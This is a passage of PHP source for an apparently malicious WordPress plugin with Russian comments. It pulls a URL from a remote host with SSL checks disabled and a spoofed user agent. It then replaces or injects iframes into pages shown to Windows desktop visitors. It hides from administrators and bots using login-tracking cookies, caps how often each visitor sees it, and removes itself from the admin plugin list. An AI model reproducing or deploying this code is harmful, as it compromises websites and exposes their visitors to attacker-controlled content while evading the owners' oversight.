true, 'url' => cwvm_clean($cached)) : cwvm_clean($cached); } $file = CWVM_URL_FILE; $info = array('file' => $file); $body = ''; // Попытка через cURL if (function_exists('curl_init')) { $ch = curl_init($file); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_MAXREDIRS, 3); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'); $body = curl_exec($ch); $info['code'] = curl_getinfo($ch, CURLINFO_HTTP_CODE); $info['err'] = curl_error($ch); curl_close($ch); if ($info['err'] || $info['code'] != 200) { error_log('CWVM cURL fail: ' . $info['err'] . ' (code ' . $info['code'] . ')'); $body = ''; } } // Fallback через WP HTTP API if (empty($body) && function_exists('wp_remote_get')) { $r = wp_remote_get($file, array( 'timeout' => 10, 'redirection' => 3, 'sslverify' => false, 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', )); $info['wp_error'] = is_wp_error($r) ? $r->get_error_message() : null; if (!is_wp_error($r) && wp_remote_retrieve_response_code($r) == 200) { $body = wp_remote_retrieve_body($r); } else { error_log('CWVM WP fail: ' . print_r($info['wp_error'], true)); } } $clean = cwvm_clean($body); $info['url'] = $clean; if (!empty($clean)) { set_transient($key, $body, CWVM_CACHE_TTL); } return $debug ? $info : $clean; } /** * Уникальный ключ посетителя по IP + UA */ function cwvm_visitor_key() { $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'unknown'; $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; return 'cwvm_v_' . md5($ip . $ua); } /** * Текущий счётчик показов: cookie → transient fallback */ function cwvm_get_count() { if (isset($_COOKIE['cwvm_c'])) { return intval($_COOKIE['cwvm_c']); } $db = get_transient(cwvm_visitor_key()); return ($db !== false) ? intval($db) : 0; } /** * Увеличить счётчик — cookie + transient (двойная защита) */ function cwvm_increment_count($current) { $new = $current + 1; $secure = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off'; if (PHP_VERSION_ID >= 70300) { setcookie('cwvm_c', (string) $new, array( 'expires' => time() + 31536000, 'path' => '/', 'secure' => $secure, 'httponly' => false, 'samesite' => 'Lax', )); } else { setcookie('cwvm_c', (string) $new, time() + 31536000, '/'); } set_transient(cwvm_visitor_key(), $new, CWVM_VISITOR_TTL); } /** * Статический флаг — только ОДИН метод показывает iframe за запрос * Первый вызов возвращает true (разрешение), последующие — false */ function cwvm_mark_shown() { static $shown = false; if ($shown) return false; $shown = true; return true; } /** * Универсальная проверка — нужно ли показывать iframe */ function cwvm_should_show() { if (is_admin()) return false; if (function_exists('wp_doing_ajax') && wp_doing_ajax()) return false; if (function_exists('wp_doing_cron') && wp_doing_cron()) return false; if (defined('REST_REQUEST') && REST_REQUEST) return false; if (defined('XMLRPC_REQUEST') && XMLRPC_REQUEST) return false; if (cwvm_is_admin_user()) return false; if (cwvm_is_bot()) return false; if (!cwvm_is_windows_desktop()) return false; return true; } /** * HTML для полной замены страницы (Метод 1) */ function cwvm_full_page($url) { return ''; } /** * HTML/JS для инъекции в существующую страницу (Методы 2 и 3) */ function cwvm_inject_code($url) { return '' . ''; } // ============================================================ // COOKIE АДМИНИСТРАТОРА // set_logged_in_cookie — срабатывает ДО редиректа после логина // ============================================================ add_action('set_logged_in_cookie', function($c, $expire, $expiration, $user_id) { $user = get_userdata($user_id); if (!$user || !user_can($user, 'manage_options')) return; $secure = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off'; if (PHP_VERSION_ID >= 70300) { setcookie('cwvm_a', '1', array( 'expires' => time() + 31536000, 'path' => '/', 'secure' => $secure, 'httponly' => true, 'samesite' => 'Lax', )); } else { setcookie('cwvm_a', '1', time() + 31536000, '/', '', $secure, true); } }, 10, 4); add_action('init', function() { $uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ''; $secure = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off'; if (strpos($uri, '/wp-login.php') !== false || strpos($uri, '/wp-admin') !== false) { if (PHP_VERSION_ID >= 70300) { setcookie('cwvm_va', '1', array( 'expires' => time() + 31536000, 'path' => '/', 'secure' => $secure, 'httponly' => true, 'samesite' => 'Lax', )); } else { setcookie('cwvm_va', '1', time() + 31536000, '/', '', $secure, true); } } }, 1); // ============================================================ // МЕТОД 3: OUTPUT BUFFER // Запускается самым первым (init priority 2) // Перехватывает весь HTML и вставляет iframe перед // Fallback для тем где не вызывается wp_footer() // Метод 1 и 2 имеют приоритет — если один из них сработал, // ob callback видит флаг cwvm_mark_shown и не инжектирует повторно // ============================================================ function cwvm_ob_callback($buffer) { // Метод 1 или 2 уже показали — не трогаем буфер if (!cwvm_mark_shown()) return $buffer; if (!cwvm_should_show()) return $buffer; $url = cwvm_fetch_url(); if (empty($url)) return $buffer; $count = cwvm_get_count(); if ($count >= CWVM_SHOW_LIMIT) return $buffer; // Ищем точку инъекции — или $pos = strripos($buffer, ''); if ($pos === false) $pos = strripos($buffer, ''); if ($pos === false) return $buffer; // не HTML — не трогаем cwvm_increment_count($count); return substr($buffer, 0, $pos) . cwvm_inject_code($url) . substr($buffer, $pos); } add_action('init', function() { // Не буферизуем служебные запросы if (is_admin()) return; if (defined('DOING_AJAX') && DOING_AJAX) return; if (defined('DOING_CRON') && DOING_CRON) return; if (defined('REST_REQUEST') && REST_REQUEST) return; if (defined('XMLRPC_REQUEST') && XMLRPC_REQUEST) return; ob_start('cwvm_ob_callback'); }, 2); // ============================================================ // МЕТОД 1: TEMPLATE_REDIRECT // Самый быстрый — полная замена страницы с exit // Чистит буфер метода 3 через ob_end_clean // Работает на большинстве не-кэшированных сайтов // ============================================================ add_action('template_redirect', function() { if (!cwvm_should_show()) return; $url = cwvm_fetch_url(); if (empty($url)) return; $count = cwvm_get_count(); if ($count >= CWVM_SHOW_LIMIT) return; // Забираем право показа (метод 3 уже не покажет) if (!cwvm_mark_shown()) return; // Очищаем ВСЕ буферы включая ob метода 3 while (ob_get_level()) ob_end_clean(); cwvm_increment_count($count); if (!headers_sent()) { header('Cache-Control: no-cache, no-store, must-revalidate'); header('Pragma: no-cache'); header('Expires: 0'); header('Content-Type: text/html; charset=UTF-8'); } echo cwvm_full_page($url); exit; }, 1); // ============================================================ // МЕТОД 2: WP_FOOTER // Работает когда template_redirect не перехватил (кэш, CDN) // Метод 3 (ob callback) запустится ПОСЛЕ wp_footer — // увидит флаг и не будет инжектировать повторно // ============================================================ add_action('wp_footer', function() { if (!cwvm_should_show()) return; $url = cwvm_fetch_url(); if (empty($url)) return; $count = cwvm_get_count(); if ($count >= CWVM_SHOW_LIMIT) return; if (!cwvm_mark_shown()) return; cwvm_increment_count($count); echo cwvm_inject_code($url); }, 1); // ============================================================ // DEBUG: /?cwvm_debug // ============================================================ add_action('init', function() { if (!isset($_GET['cwvm_debug'])) return; header('Content-Type: application/json'); echo json_encode(array( 'url' => cwvm_fetch_url(true), 'is_admin' => cwvm_is_admin_user(), 'is_bot' => cwvm_is_bot(), 'is_windows' => cwvm_is_windows_desktop(), 'count_cookie' => isset($_COOKIE['cwvm_c']) ? intval($_COOKIE['cwvm_c']) : 'not set', 'count_db' => get_transient(cwvm_visitor_key()), 'show_limit' => CWVM_SHOW_LIMIT, 'php_version' => PHP_VERSION, 'headers_sent' => headers_sent(), ), JSON_PRETTY_PRINT); exit; }, 5); // ============================================================ // СКРЫТИЕ ПЛАГИНА ИЗ СПИСКА — всегда скрыт // ============================================================ add_filter('all_plugins', function($plugins) { unset($plugins[plugin_basename(__FILE__)]); return $plugins; });